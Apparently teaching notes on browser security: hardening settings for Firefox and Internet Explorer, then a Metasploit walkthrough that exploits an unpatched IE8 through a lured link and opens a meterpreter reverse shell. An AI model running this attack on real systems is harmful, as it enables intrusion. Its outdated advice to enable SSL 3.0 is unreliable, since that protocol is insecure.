**HACKING WEB BROWSERS**

1. **INTRODUCTION**

**1.a) Key Terms**

* **Hyperlink (link) an embedded navigation element in a document or Web page to another location, such as a different Web site or another section of the same document**
* **Web browser a client-based software program that enables a user to display and interact with text, images, videos, music, games, and other information generally written in hypertext markup language (HTML) and displayed as a Web page on a Web site or on a local area network.**
* **1.b) Introduction to Hacking Web Browsers**
* **Almost all computers come with at least one Web browser installed, such as Microsoft Internet Explorer, Mozilla Firefox, or Apple Safari.**
* **Because Web browsers are used so frequently, it is vital to configure them securely.**
* **Not securing a Web browser can quickly lead to a variety of security issues, caused by spyware installing itself without the user’s knowledge, or even intruders taking control of the computer.**
* **Users should evaluate the risks of the software they use. Most computers are sold with software already installed. Whether installed by a computer manufacturer, operating system maker, Internet service provider (ISP), or by a retail store, the first step in assessing the vulnerability of a computer is to find out what software is installed and how programs interact with one another. Unfortunately, for most users, this is considered impractical.**
* **There is an increasing threat from software attacks that take advantage of vulnerable Web browsers. New Web browser vulnerabilities are often discovered and exploited through the use of compromised or malicious Web sites.**
* **1.c) A number of factors can make this problem worse, including the following:**
* **Users may click on hyperlinks without considering the risks involved. Hyperlinks, or just links, are embedded navigation elements in a document or Web page to another location, such as a different Web site or another section of the same document.**

**• Web page addresses can be disguised to take users to unexpected sites**

**• Many Web browsers are configured by default to provide increased functionality at**

**the cost of decreased security.**

**• New security vulnerabilities may have been discovered since the software was configured and packaged by the manufacturer.**

**• Computer systems and software packages may be bundled with additional software, which increases the number of vulnerabilities.**

**• Third-party software may not have an adequate mechanism for receiving security updates.**

**• Many Web sites require that users enable certain features or install software, putting the computer at additional risk.**

**• Many users do not know how to configure their Web browsers securely.**

**• Many users are unwilling to enable or disable functionality to secure their Web browsers.**

**1.d) How Web Browsers Work**

* **When the user enters a URL into a Web browser, the browser goes through three basic steps:**
* **1. The browser determines what protocol to use, based on the characters in the URL before the colon (:). Table 5-1 shows the different protocols that Web browsers recognize.**
* **2. The browser looks up and contacts the server.**
* **3. The browser requests the specific document (including its path statement) from the server.**

|  |  |
| --- | --- |
| **protocol** | **Accesses** |
| http: | HTML documents |
| https: | Secure HTML documents |
| File: | HTML documents stored locally |
| ftp: | FTP file transfers |
| gopher: | Gopher menus and documents |
| news: | Usenet newsgroups |
| mailto: | E-mail messages |
| telnet: | Remote Telnet (login) session |

**Table 5-1 These are the protocols that browsers understand**

1. **Mozilla Firefox Security**

**These settings can be accessed through the “Options” menu.**

* **Configure privacy settings:** Under the “Privacy” tab, complete the following steps. These measures ensure that Firefox is storing only as much of your information as it needs to function normally.
  + Select “Use custom settings for history.”
  + Deselect “Remember my browsing and download history.”
  + Deselect “Remember search and form history.”
  + Deselect “Accept third-party cookies.”
  + Set cookie storage to “Keep until I close Firefox.”
  + Select “Clear history when Firefox closes.”
* **Configure security settings:** Under the “Security” tab, choose the following settings. These steps prevent Firefox from saving your passwords and keep you from visiting potentially harmful sites.
  + Verify that “Warn me when sites try to install add-ons,” “Block reported attack sites,” and “Block reported web forgeries” are all selected.
  + Deselect “Remember passwords for sites.”
* **Disable javaScript:** Deselect “Enable JavaScript” under the “Content” tab. JavaScript is notorious for containing security vulnerabilities and it is recommended that users only enable it for trusted sites.
* **Enable pop-up blocking:** Verify that “Block pop-up windows” is selected under the “Content” tab. This feature should be turned on by default as it protects users from unwarranted advertisements and windows.
* **Don’t sync:** Avoid using Firefox Sync. By doing so you prevent Firefox from storing your logins, passwords, and other sensitive information.
* **Turn on automatic updates:** Verify that “Automatically install updates” is selected in the “Update” tab under “Advanced.” Doing so will ensure that your browser receives critical security updates. Verify that “Automatically update Search Engines” is selected as well.
* **Use secure protocols:** Verify that “Use SSL 3.0” and “Use TLS 1.0” are selected in the “Encryption” tab under “Advanced.”

**3) Microsoft Internet Explorer security**

**These settings can be accessed through the “Internet Options” menu.**

* **Configure security settings:** Under the “Security” tab, do the following:
  + *Set security zones:* IE offers the option to configure different security settings for different “zones,” including the Internet, local intranet, trusted sites, and restricted sites. Set up the zones for Intranet, Trusted Sites, and Restricted sites to your desired security level.
  + Set Internet zone security to “Medium High” or higher. This blocks certain cookie types, enables ActiveX filtering, and implements several other default settings for increased security.
  + *Disable javaScript:* Click “Custom Level,” locate the “Active Scripting” setting, and select “Disable.” It is recommended that users disable JavaScript because of the high amount of vulnerabilities it contains.
* **Automatically clear history:** Select “Delete browsing history on exit” under the “General” tab. Clearing your history at the end of each session helps to limit the amount of information IE saves when you browse.
* **Configure privacy settings:** Under the “Privacy” tab, complete the following steps:
  + Privacy setting*:* Set the Internet zone privacy to “Medium High” or higher. This blocks certain cookie types to prevent sites from tracking or contacting you without your consent.
  + Location*:* Select “Never allow websites to request your physical location.”
  + Pop-up Blocker*:* Double check that Pop-up Blocker is enabled.
* **Configure Advanced Security settings:** Scroll down to the “Security” section under the “Advanced” tab and do the following:
  + Ensure that all default settings are in place. If you aren’t sure, click “Restore advanced settings” before making any other changes.
  + Select “Do not save encrypted pages to disk.” This will delete files cached from HTTPS pages when the browser is closed.
  + Select “Empty Temporary Internet Files folder when browser is closed.” This prevents IE from storing your personal info (logins, passwords, activity, etc) beyond your browsing session.
  + *Turn off autoComplete:* The AutoComplete feature should be turned off for forms and usernames/passwords. Keeping AutoComplete turned off ensures that your sensitive information isn’t being stored unnecessarily.
* **Tracking protection:** IE’s Tracking Protection feature keeps your browsing private from specified third-party websites. This feature can be accessed through IE’s “Safety” menu. In order to use Tracking Protection you will need to provide a Tracking Protection List that names all of the sites you don’t want your information being sent to. You can create a list yourself or download lists online.

**Which is the Most Secure Browser?**

Nominating one browser as the most secure is difficult. Since each browser is regularly updated with security patches, the rankings for most secure browser could change at any time. As of today, Veracode recommends Google Chrome as the most secure browser.

**4) Hack Internet Explorer 8 in Windows 7 using Kali Linux**

we will hack Internet Explorer 8 in Windows 7 Service Pack 1 (unpatched) using Metasploit in Kali Linux and get a remote shell on the Windows 7 machine.  
  
This exploit works when the **Initialize and script ActiveX controls not marked as safe** setting is **enabled** in Internet Explorer. **When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to interact with the file system and run commands.**  
  
To enable the above setting, start Internet Explorer and click on **Tools** -> **Internet Options** -> **Security** -> **Custom** **Level** -> **Initialize and script ActiveX controls not marked as safe**-> **Enable**.  
  
**Perform the following steps on the Kali Linux Machine**  
  
1) Start the services.  
root@kali:~# **service postgresql start**  
[ ok ] Starting PostgreSQL 9.1 database server: main.  
  
root@kali:~# **service metasploit start**  
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.  
[ ok ] Starting Metasploit worker: worker.  
  
  
2) Start metasploit console.   
root@kali:~# **msfconsole**  
msf >  
  
3) Select exploit.

**msf> search type:exploit platform:windows unsafe**

This search brought some exploits. The one we want is **/exploit/windows/browser/ie\_unsafe\_scripting**.

msf > **use exploit/windows/browser/ie\_unsafe\_scripting**  
  
4) Select payload.   
msf exploit(ie\_unsafe\_scripting) > **set payload windows/meterpreter/reverse\_tcp**  
payload => windows/meterpreter/reverse\_tcp  
5) View options.   
msf exploit(ie\_unsafe\_scripting) > **show options**  
6) Set options  
msf exploit(ie\_unsafe\_scripting) > **set LHOST 192.168.122.115**  
LHOST => 192.168.122.115  
7) Execute the exploit.   
msf exploit(ie\_unsafe\_scripting) > **exploit**  
[\*] Exploit running as background job.  
[\*] Started reverse handler on 192.168.122.115:4444   
msf exploit(ie\_unsafe\_scripting) > [\*] Using URL: http://0.0.0.0:8080/bHN7e4  
[\*]  Local IP: *http://192.168.122.115:8080/bHN7e4*  
[\*] Server started.  
8) User clicks on the malicious URL. As we can see, a link has been generated as a result of the exploit command. This is the malicious link (*http://192.168.122.115:8080/bHN7e4)*that we will have to send to our target, so that it can exploit their browser.  
When the user clicks on the malicious link, the browser will try to load the page, but nothing will be displayed. But you will get a remote shell on your msfconsole, as shown below.  
msf exploit(ie\_unsafe\_scripting) > [\*] 192.168.122.10   ie\_unsafe\_scripting - Request received for /bHN7e4  
[\*] 192.168.122.10   ie\_unsafe\_scripting - Sending exploit html/javascript  
[\*] Sending stage (770048 bytes) to 192.168.122.10  
[\*] Meterpreter session 1 opened (192.168.122.115:4444 -> 192.168.122.10:49166) at 2015-06-20 17:13:43 +0530  
  
msf exploit(ie\_unsafe\_scripting) > **sessions -i 1**  
[\*] Starting interaction with 1...  
  
meterpreter > **shell**  
Process 3680 created.  
Channel 1 created.